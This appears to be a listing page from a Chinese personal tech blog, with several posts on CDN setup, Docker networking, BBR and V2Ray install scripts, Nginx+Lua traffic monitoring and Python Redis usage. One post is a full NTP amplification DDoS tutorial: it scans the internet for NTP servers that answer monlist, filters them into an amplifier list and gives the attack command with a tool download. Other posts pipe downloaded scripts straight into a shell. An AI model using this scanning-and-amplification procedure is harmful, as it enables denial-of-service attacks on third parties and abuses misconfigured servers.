首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
6,716 阅读
2
Cloudflare SAAS 接入自选教程
3,218 阅读
3
CloudFront CDN配置教程
2,768 阅读
4
Frpc使用XTCP不通过服务器传输
2,462 阅读
5
兽装曲腿制作文档
2,359 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
450
篇文章
累计收到
135
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
祈杰のblog
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
64
篇与
的结果
2022-04-04
CloudFront CDN配置教程
{message type="error" content="本教程仅限学习用途,请勿按照教程生搬硬套用于生产环境,造成的损失本站概不负责"/}{message type="error" content="本教程默认您已经获取了海外银行卡或者虚拟卡, 并且已经注册好了AWS账号"/}{message type="error" content="本教程适合具有一定网络基础的访客学学习,没有基础但想尝试的,建议配合百度进行阅读"/}前言最近看到亚马孙的 CloudFront CDN提升了免费套餐的额度,每个注册成功的账号,每个月都有1Tb的不限地区的CDN流量和1000W次http请求200w次的函数请求。具体说明可以看看这篇文章: AWS看起来是很馋人的,毕竟现在Cloudflare速度骤降,国内被墙的情况也不少见。而CloudFront可以直接使用亚太节点,这对面向大陆的海外无备案网站而言无疑是一个好消息。比如下面这张图就是本站的全球站在站长之家的测速情况。一片绿,比Cloudflare好太多了。 ps:不过毕竟是计费CDN,为了保证您白嫖开心,以及保住您的房子,站长还是建议在面向大陆的时候使用CloudFront,同时使用CloudFlare面向海外。开始配置注册AWS的账号这步道锋我就默认跳过了,相信能用上AWS的各位大佬,肯定有一个账号吧。 ps:没有也没关系,百度相关教程即可,过程还是非常简单的,前提是你有一张境外银行卡或虚拟卡登陆CloudFront控制台进入控制台CloudFront的定位的CDN,既内容分发网络。和国内的的腾讯云,阿里云类似,CloudFront的控制台菜单也位于 联网和内容分发 这一级主菜单内。默认为服务分配页面,如果提示需要授权,同意就行。ps:不要在意站长之前添加的站点创建域名我们点击上方的创建分配按钮。他通常是一个非常醒目的橙色按钮。点击后会进入如下页面。习惯了国内CDN或者CF的各位,可能就会开始懵逼了。下面站长一个个解释。选择源或许您已经猜到了,CDN最重要的东西之一就是源站。这个地方就是输入您的源站地址的地方,需要注意的是,AWS的CDN设计的较为反人类。你不能直接输入ip作为回源地址,否则将接收到系统的报错:这种情况,您需要使用一个没有使用的域名,可以是顶级域名也可以是子域名,只要是域名,他都是可行的。如果您想回源到AWS的S3桶,那么,当我没说。我这边使用百度进行说明。选择回源协议协议菜单,和国内的CDN比较类似,你需要在这里选择CloudFront节点访问您源站的方式,他通常是HTTP或HTTPS选择不同的模式,将允许您选择不同的回源端口,比如80或者443。匹配查看器的兄弟,在国内叫做 协议跟随。“CF”节点将以和客户端相同的协议来请求您的源站。最低SSL协议:这是表示“CF”边缘节点访问您的源站时,使用的SSL套件版本。这通常取决于您的源站WEB配置。一般来说,使用默认的TLS1即可。源的其他配置源路径:有点类似于nginx的重写,一般来说用不上。源名称:可以随意填,他只是CF方便您查找的命名。启用源护盾:一般忽略,用作静态分发的时候,可以再参考官方说明开启。其他设置:为CF边缘节点访问源站的错误切换,和nginx的后端检测类似,一般保持默认缓存配置这边显示的为初步配置。具体的缓存策略需要等待部署后,在服务控制台修改。路径模式:支持正则匹配,这是用于匹配相关路径进行缓存的关键。自动压缩对象:暂时不明,一般打开,预测为GZip压缩或者htmljs自动缩小功能。协议策略:HTTP and HTTPS为允许使用双栈进行访问。Redirect HTTP to HTTPS,类似国内CDN的强制https跳转,会自动让HTTP请求301跳转到HTTPSHTTPS only,仅允许HTTPS请求一般来说选择第二个即可允许的 HTTP 方法:为边缘节点对客户端请求的限制,一般选择 GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE 这一项如果您是动态站点,为了防止您的页面被缓存,请不要选择下方的多选框。这将缓存所有的 GET 和 HEAD 方法限制查看器访问:一般不管他。缓存策略:一般保持第一个选项。策略选项中有如下几种:缓存动态请求关闭缓存不管他不管他不管他一般来说,默认的选择关闭缓存即可。源请求策略:一般来说选择第二个ALLViewer这将吧所有客户端的请求头直接传达给服务器端。响应标头策略:忽略设置肯定有人会问了,那我怎么设置我的站点域名啊,怎么到现在都没看到他要我绑定域名啊。别急,马上他就来了。首先是区域选择,由于默认是全区域(除了中国大陆的节点)都有免费一个月1T的流量,所以我们默认勾选全部然后看到这个:他就是我们要绑定的域名的设置了。点击添加项目会提示要求你输入域名,这里输入的域名,才是你的站点域名,如果你把前面源的域名填成站点域名的,请马上修正。比如:自定义证书:既然你的站点已经绑定了,那么肯定要使用到https,这需要你导入或绑定证书。点击下方的请求证书,或进入AWS Certificate Manager的控制台点击请求,可以让AWS为你签发一个证书,点击导入,可以使用自己购买的证书更具提示完成添加后,回到之前的CloudFront页面,在选择框边上,有一个刷新按钮,点击后再次打开下拉框,就能看到你新的域名证书,选中他。然后下方有如下选项这里更具您的客户端进行选择,如果您的客户端较老,请勿选择高版本的TLS版本。建议选择tls1.1这个折中选项。结束添加后方的设置不进行更多更改,直接提交创建分配即可。控制台详细缓存配置点击进入您新创建的分配,您应该能看到如下的内容在源的地方,能够修改您的源站配置。在行为的地方,能够修改您的缓存策略。在错误页面的地方,能够修改您的错误页面。在地理限制的地方,能够修改地区封锁的情况。在失效的地方,能够清除你的缓存。在标签的地方, 你不需要管他我们点击进入行为。点击创建行为。路径模式会提示您操作的方法。比如说您要缓存各种jpg图片,可以输入 /*.jpg更多内容可以看看 官方文档 源组就选择您的源站那个就行下方的选项可以参考前面缓存配置那一步结束到此为止,您已经完成了接入操作,接下来就是乐此不疲的 自选ip 或者是其他环节如果您不想自选ip,也可以在域名dns控制台那边,将您的域名解析到官方提供的地址上,比如下方这个地方
2022年04月04日
2,768 阅读
1 评论
1 点赞
2021-12-20
Docker 重置 docker0 网卡
作者在使用docker的过程中,遇到了件糟心事。我的宿主机莫名其妙被封了ip,据说是由于莫名其妙的疑似攻击行为(我寻思着我打攻击干嘛啊?)然后起初不知道,因为那天堪萨斯机房刚刚好刮风,吧网给挂断了,本以为只是网的问题,一波操作吧全部网卡配置全咔嚓掉了,重新配置eth0。很显然,网还是不通。。。然后今天,机房那边给我解了这子虚乌有的封禁,进了一波机器,重启了一下,然后苦逼的发现图床怎么502了!!!进了ifconfig看了一下,好家伙,docker0的网卡没ip了。。咋办呢,重新装docker不成?不重新安装?图床,小说网都搁那502,宿主机不通容器。。理解Docker0Docker启动的时候会在主机上自动创建一个docker0网桥,实际上是一个Linux网桥,所有容器的启动如果在docker run的时候没有指定网络模式的情况下都会挂载到docker0网桥上。这样容器就可以和主机甚至是其他容器之间通讯了。那安装这么说,我能不能先关闭docker,然后删除这个网桥,最后再重载docker呢实践我的宿主机使用的是centos8系统,以centos8为例```yang pkill docker iptables -t nat -F ifconfig docker0 down ## 删除docker0 网卡 nmcli c delete docker0 nmcli d delete docker0 docker -d systemctl restart docker ```首先先杀掉docker进程(最好先保存一下运行的容器)然后使用iptables清除所有的网桥配置然后关闭目标网卡,删除目标网卡最后重载docker结束经过一番瞎几把操作,宿主机和容器的通信恢复输入ifconfig也能查看到docker0获取到了地址同时容器的子虚拟网卡也正常运行
2021年12月20日
336 阅读
0 评论
0 点赞
2021-10-16
BBR一键脚本 BBR/BBR Plus/魔改BBR/锐速(LotServer)四合一
关于BBR Plus,什么是BBR?BBR是Google推出的一套拥塞控制算法,集成在最新的Linux内核中。BBR应用在VPS服务器上,可以明显改善服务器的网络传输速度,减少丢包。而BBR Plus版本,以及魔改版BBR,则是网友在原版BBR的基础上,对一些参数进行改良后的修正版本,比原版BBR有着更为显著的加速效果。至于两个改良版本哪个加速效果更好,大家可以分别安装测试,选取最适合自己的版本。下文会提供各版本的一键安装脚本。BBR Plus版本的优点:修正了原版BBR的以下两项缺点,加速效果更好:在高丢包率环境下容易失速收敛慢BBR Plus版本的不足:脚本仍在完善阶段,在少部分系统中可能会安装失败。由于涉及到内核的修改,部分系统环境下,可能会导致重启无法进入系统。虽然加速效果更好,但是考虑到系统数据安全的话,还是建议大家以试用为主,不要在生产环境下尝试安装BBR Plus。总的来说,BBR作为在Cubic之后提出的拥塞控制算法,它的有很多优点,并且解决了Cubic算法存在的一些问题,但是因为它并非是采用丢包作为拥塞信号,也带来了一些新的问题。BBR的公平性存在问题,它会抢占Cubic算法的带宽(取决于瓶颈缓冲区的大小)BBR的机制会导致高重传率 BBR目前来看,只能说和Cubic更有优劣,两者擅长处理的网络环境并不相同。不过它不采用丢包作为拥塞信号,而是通过自己评估,也许会在其他的环境下取得更好的成绩,比如说和强化学习相结合。BBR Plus一键安装脚本(四合一)本文介绍的BBR Plus一键安装脚本数据源,来自网友cx9208的Github参考,在此感谢一下。除了BBR Plus外,此脚本还另外集成有原版BBR一键安装、魔改BBR一键安装、锐速(lotServer)一键安装,为四合一版本,四个版本可以切换使用。另外,鉴于市面上目前的bbr一键脚本为直接从github获取数据,如果想要在中国大陆内使用的话,难免会遇到大范围的网络波动情况,甚至无法使用。因此在中间介入了反向代理系统,用于向全球范围内提供数据分发能力,也为大陆用户的体验提升了一个档次适用架构:KVM / Xen,不支持OpenVZ(OVZ)。适用系统:CentOS 7、Debian 8、Debian 9、Ubuntu 16.04、Ubuntu 18.04。BBR Plus一键安装脚本使用:1.FinalShell,Xshell,Putty连接VPS服务器,运行如下脚本:wget --no-check-certificate -O tcp.sh https://www.silverdragon.cn/downloads/tcp.sh && chmod +x tcp.sh && ./tcp.sh2.接下来会出现菜单选择界面,如下图所示,我们需要先安装对应的内核,之后再开启加速。以BBR Plus版本为例,输入对应的数字2回车,开始安装内核。3.原有内核卸载完毕,新内核安装成功后,会出现下图提示重启,输入Y回车或直接回车重启:4.重启后再次用Putty连接VPS服务器,运行如下命令重新打开脚本:./tcp.sh5.在脚本菜单选项中,输入数字7回车,开启BBR Plus加速:6.出现下图提示,则表示BBR Plus加速成功开启:7.如果需要安装或切换其它版本的加速,比如原版BBR、魔改BBR、锐速(LotServer)等,那么需要重新进行以上各流程,选择对应版本的内核,内核安装成功后重启系统开启加速。8.最后,可以再次运行脚本,输入10来对系统网络配置进行优化,然后安装提示重启
2021年10月16日
458 阅读
0 评论
0 点赞
2021-10-12
V2Ray 搭建教程以及一键安装脚本
V2Ray 是一个网络转发程序,支持 TCP、mKCP、WebSocket 这3种底层传输协议,支持 HTTP、Socks、Shadowsocks、VMess 这4种内容传输协议(HTTP 只支持传入),并且有完整的 TLS 实现,是一个非常强大的平台。V2Ray 简介官网:https://www.v2ray.comProject VProject V 是一个工具集合,它可以帮助你打造专属的基础通信网络。Project V 的核心工具称为 V2Ray,其主要负责网络协议和功能的实现,与其它 Project V 通信。V2Ray 可以单独运行,也可以和其它工具配合,以提供简便的操作流程。主要特性多入口多出口: 一个 V2Ray 进程可并发支持多个入站和出站协议,每个协议可独立工作。可定制化路由: 入站流量可按配置由不同的出口发出。轻松实现按区域或按域名分流,以达到最优的网络性能。多协议支持: V2Ray 可同时开启多个协议支持,包括 Socks、HTTP、Shadowsocks、VMess 等。每个协议可单独设置传输载体,比如 TCP、mKCP、WebSocket 等。隐蔽性: V2Ray 的节点可以伪装成正常的网站(HTTPS),将其流量与正常的网页流量混淆,以避开第三方干扰。反向代理: 通用的反向代理支持,可实现内网穿透功能。多平台支持: 原生支持所有常见平台,如 Windows、Mac OS、Linux,并已有第三方支持移动平台。安装 V2Ray在开始安装之前,安装一些必要的软件:Ubuntu/Debian 系统: apt-get update -y && apt-get install curl -yCentOS 系统: yum update -y && yum install curl -y为了简化安装,我们使用一键安装脚本,使用现成的一键安装脚本,使用 root 用户输入下面命令安装:bash <(curl -s -L https://git.io/v2ray.sh)然后选择安装,即是输入 1 回车选择传输协议,如果没有特别的需求,使用默认的 TCP 传输协议即可,直接回车选择端口,如果没有特别的需求,使用默认的端口即可,直接回车是否屏蔽广告,除非你真的需要,一般来说,直接回车即可是否配置 Shadowsocks ,如果不需要就直接回车,否则就输入 Y 回车Shadowsocks 端口,密码,加密方式这些东西自己看情况配置即可,一般全部直接回车。。OK,按回车继续最后安装完成后会提示安装信息,建议记录下。V2Ray 高级玩法快速管理 V2Rayv2ray info:查看 V2Ray 配置信息v2ray config:修改 V2Ray 配置v2ray link:生成 V2Ray 配置文件链接v2ray infolink:生成 V2Ray 配置信息链接v2ray qr:生成 V2Ray 配置二维码链接v2ray ss:修改 Shadowsocks 配置v2ray ssinfo:查看 Shadowsocks 配置信息v2ray ssqr:生成 Shadowsocks 配置二维码链接v2ray status:查看 V2Ray 运行状态v2ray start:启动 V2Rayv2ray stop:停止 V2Rayv2ray restart重启 V2Rayv2ray log:查看 V2Ray 运行日志v2ray update:更新 V2Rayv2ray update.sh:更新 V2Ray 管理脚本v2ray uninstall:卸载 V2RayTCP 阻断如果觉得机器出现了这种情况,那么可以尝试使用 UDP 协议相关的 mKCP。如果使用了一键脚本,直接输入 v2ray config 然后选择修改 V2Ray 传输协议,之后再选择 mKCP 相关的就行备注:使用 mKCP 或许还可以提高速度,但由于 UDP 的原因也许会被运营商 Qos,这是无解的。WebSocket + TLS实现 WebSocket + TLS 很简单,前提是要拥有一个能正常解析的域名 (并且知道怎么解析域名)服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,再选择 WebSocket + TLS,即是输入 4,接着输入你的域名,总之按照提示进行操作就可以了HTTP/2实现 HTTP/2 (h2) 也很简单,和 WebSocket + TLS 一样,也就是只要一个域名就够了。服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,再选择 HTTP/2,即是输入 16,然后参考上面的 WebSocket + TLS 的相关,或者按照提示即可。HTTP/2 相比 WS + TLS (WebSocket + TLS),在浏览网页时有一些优势,其他速度是差不多mKCPmKCP 其实就是 KCP 协议,一般能提速,但是不保证都能提速,还能避免 TCP 阻断,但是也可以会被运营商 Qos.使用方法:服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,之后再选择 mKCP 相关的就行
2021年10月12日
2,060 阅读
0 评论
0 点赞
2021-10-07
NTP放大反射攻击扫描列表教程
1.升级所有包,改变软件设置和系统设置,系统版本内核都升级yum -y update2.下载rpm包(区分centos6 与centos7 执行不同的命令)centos6:wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm sudo rpm -Uvh epel-release-6-8.noarch.rpmcentos7:wget http://mirror.centos.org/centos/7/extras/x86_64/Packages/epel-release-7-11.noarch.rpm sudo rpm -Uvh epel-release-7-11.noarch.rpm3.安装必要的依赖环境yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap --------------------------------------------扫描过滤列表-----------------------------------------------4.安装Zmapwget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz tar -zxvf v1.0.3.tar.gz cd /root/zmap-1.0.3 cd src/ make make install如果前一步ZMap已经安装完成,可以跳过步骤4:zmap -p 80 -N 10 -B 1M -o - #很快,程序会输出10个Internet上打开了80端口的主机的IP,你也可以换成22端口23端口试试。具体的用法可以参考ZMap官方文档。5.开始扫描NTP放大列表screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt 如果在扫描时,你与服务器的会话不小心中断。 你可以重新连接服务器。 使用命令screen -r回到会话。 screen是将程序独立运行在后台,直到执行完成。6.过滤列表chmod 777 ntpchecker #添加权限 screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1 #运行检查 awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt #过滤列表--------------------------------------------放大攻击-----------------------------------------------7.攻击命令chmod 777 ntp #赋予权限 ./ntp 127.0.0.1 80 ntpamp.txt 100 -1 100 下载库:ntp_2下载
2021年10月07日
1,147 阅读
0 评论
0 点赞
2021-08-29
nonebot2如何获取消息内图片
研究半天无果,群内一位大佬提供解决方法:images = [d.data["url"] for d in event.get_message() if d.type == "image"]通过迭代消息对象,判断是否为图片消息,然后返回一个由图片url组成的数组event上报:感谢这位老哥提供的方法
2021年08月29日
263 阅读
0 评论
0 点赞
2021-07-05
Nginx+Lua实现Websocket实时网卡流量推送
首先我们先了解一下Linux系统获取网络流量的几种方法1.基于sysfs虚拟文件系统,这是由内核用来将设备或驱动相关的信息输出到用户空间的一种机制。网络接口的相关分析数据会通过“/sys/class/net/<ethX>/statistics”输出。加之Linux提供了LKM机制可以使我们在内核空间工作,在LKM机制中一个重要的组成部分就是proc伪文件系统,它为用户提供了动态操作Linux内核信息的接口,是除系统调用之外另一个重要的Linux内核空间与用户空间交换数据的途径。如:/sys/class/net/eth0/statistics/rx_packets: 收到的数据包数据/sys/class/net/eth0/statistics/tx_packets: 传输的数据包数量/sys/class/net/eth0/statistics/rx_bytes: 接收的字节数/sys/class/net/eth0/statistics/tx_bytes: 传输的字节数/sys/class/net/eth0/statistics/rx_dropped: 当收到包数据包下降的数据量/sys/class/net/eth0/statistics/tx_dropped: 传输包数据包下降的数据量2.sarsar命令包含在sysstat工具包中,提供系统的众多统计数据。其在不同的系统上命令有些差异,某些系统提供的sar支持基于网络接口的数据统计,也可以查看设备上每秒收发包的个数和流量。3./proc/net/dev本文使用的是方法1,即为通过定时读取/sys/class/net/eth0/statistics/xxx文件的内容,来进行计算,获取最终的网络带宽使用lua 的io库进行读文件操作file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" )获得秒初的网络数据包数量进而通过ngx.sleep进行非阻塞的等待一秒后再次读取文件中的数据包数量ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" )这样,获得了秒末的数据包数量将秒末的数据包数量减去秒初的数据包数量。即为秒内的网络流动数据包数量因为每个数据大小为8个字节,因此,得出的结果*8就是每秒字节数,进而可以通过多次除去1024得道千字节数,兆字节数等local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 --and --tx = tx/1024/1024 --mbps --rx = rx/1024/1024 --mbps--核心代码实现 function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end因为将要使用websocket进行实时的数据传输,我们需要安装支持resty.websocket的扩展库,openresty用户默认就有,非openresty用户可前往https://github.com/openresty/lua-resty-websocket安装库安装过程可参考https://www.cnblogs.com/scotoma/p/3330190.htmlwebsocket相关代码local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end全部完整代码json = require "cjson" ngx.update_time() local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end local types = tonumber(ngx.var.arg_types) or 0 local pod = ngx.var.arg_pod or "tx" bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end详细项目地址https://gitee.com/daofengql/lua-websocket-real-time-network-traffic到此,lua部分已经编写完毕,接下来就要在nginx中配置配置文件来接入路由样例conflocation / { #路由名称具实际修改 #lua_code_cache off; default_type text/html; add_header 'Access-Control-Allow-Origin' *; content_by_lua_file /data/traffic.lua;#文件存放地址更具实际修改 } 配置完成后,如果不出意外,重载NGINX之后,可以使用在线websocket测试,测试服务推送出去,客户端收到的是json字符,可以再对其转化为字典对象等可以进一步将项目仓库内的html目录下的页面进行适当的修改和部署计数器核心功能代码<script language="JavaScript"> $(function () { var chart; var previous = null; var chart; // global var pointx = null; var ip = "180.188.16.147"; $(window).load(function () { initiateChart("L4dstat"); //parseFile(); }); var server = 'wss://ws.jcdpn.cn/?types=2'; var ws = new WebSocket(server); var temp_arr = [0.1]; var max_bps = 0.1; ws.onclose = function () { reconnect(service); }; ws.onmessage = function (evt) { data = JSON.parse(evt.data); temp_arr.push(data.rx); max_bps = Math.max.apply(null, temp_arr); temp_arr = [0.1]; var series = chart.series[0], shift = series.data.length > 20; chart.series[0].addPoint([Math.floor($.now()), max_bps], true, shift); max_bps = 0.1; }; function initiateChart(divid) { var options = { plotOptions: { series: { events: { legendItemClick: function (event) { event.preventDefault(); } } } }, chart: { zoomType: '', renderTo: divid, style: { fontFamily: "'Unica One', sans-serif" }, //plotBorderColor: '#606063' backgroundColor: '#e2e3e5', }, //title:{ // text: null // }, title: { text: '» '+ip+'核心流量计数器 «', }, xAxis: { type: 'datetime', dateTimeLabelFormats: { day: '%a' } }, yAxis: { minPadding: 0.2, maxPadding: 0.2, title: { text: 'Mb/秒', margin: 80 } }, credits: { enabled: false }, series: [{ type: 'area', //shadowSize: 0, name: 'Mbps/秒', color: '#164791', data: [] }] }; chart = new Highcharts.Chart(options); } }); </script>例如将默认的socket地址改成自己的流量计数器默认使用的单位为mbps,其他单位还需要自己修改和换算流量计数器使用highcharts.js来进行表格绘制效果
2021年07月05日
93 阅读
0 评论
0 点赞
2021-05-30
Python3操作Redis数据库(二)
7.psetex(name, time_ms, value) time_ms - 过期时间(数字毫秒 或 timedelta对象)import redis import time pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.psetex("whoisdaofeng", 5000, "a dragon") time.sleep(5) print(r.get('whoisdaofeng')) # 5秒后,取值就从a dragon变成None8.mset(*args, **kwargs) 批量获取print(r.mget('daofengql', 'name'))10.getset(name, value)print(r.getset("daofengql", "strong dragon")) # 设置的新值是strong dragon 设置前的值是a dragon print(r.get('daofengql'))11.getrange(key, start, end) 获取子序列(根据字节获取,非字符)参数:name - Redis 的 namestart - 起始位置(字节)end - 结束位置(字节)r.set("name", "道峰潜鳞") print(r.getrange("name", 0, 2)) # 取索引号是0-2 前3位的字节 道 切片操作 一个汉字3个字节 1个字母一个字节 每个字节8bit12.setrange(name, offset, value) 修改字符串内容,从指定字符串索引开始向后替换(新值太长时,则向后添加)参数:offset - 字符串的索引,字节(一个汉字三个字节)value - 要设置的值r.set("ename","da") r.setrange("ename", 1, "daofengql") print(r.get("ename"))13.strlen(name) 返回name对应值的字节长度(一个汉字3个字节)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set("dragon","daofengql") print(r.strlen("dragon")) # 9 'daofengql'的长度是9 14.incr(self, name, amount=1) 自增 name 对应的值,当 name 不存在时,则创建 name=amount,否则,则自增。参数:name - Redis的nameamount - 自增数(必须是整数)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set("data1", 1) print(r.get("data1")) for i in range(0,30): r.incr("data1", amount=1) print(r.get("data1")) print(r.get("data2")) for i in range(0,30): r.incr("data2", amount=1) print(r.get("data2")) 15.incrbyfloat(self, name, amount=1.0) 自增 name对应的值,当name不存在时,则创建name=amount,否则,则自增。参数:name - Redis的nameamount - 自增数(浮点型)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set("data1", "1.0") print(r.get("data1")) for i in range(0,30): r.incrbyfloat("data1", amount=0.1) print(r.get("data1")) print(r.get("data2")) for i in range(0,30): r.incrbyfloat("data2", amount=0.1) print(r.get("data2")) 16.delete(keyname) 删除键import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set("data1", "1") print(r.get("data1")) r.delete("data1") print(r.get("data1")) 未完待续...
2021年05月30日
93 阅读
1 评论
0 点赞
2021-05-30
Python3操作Redis数据库(一)
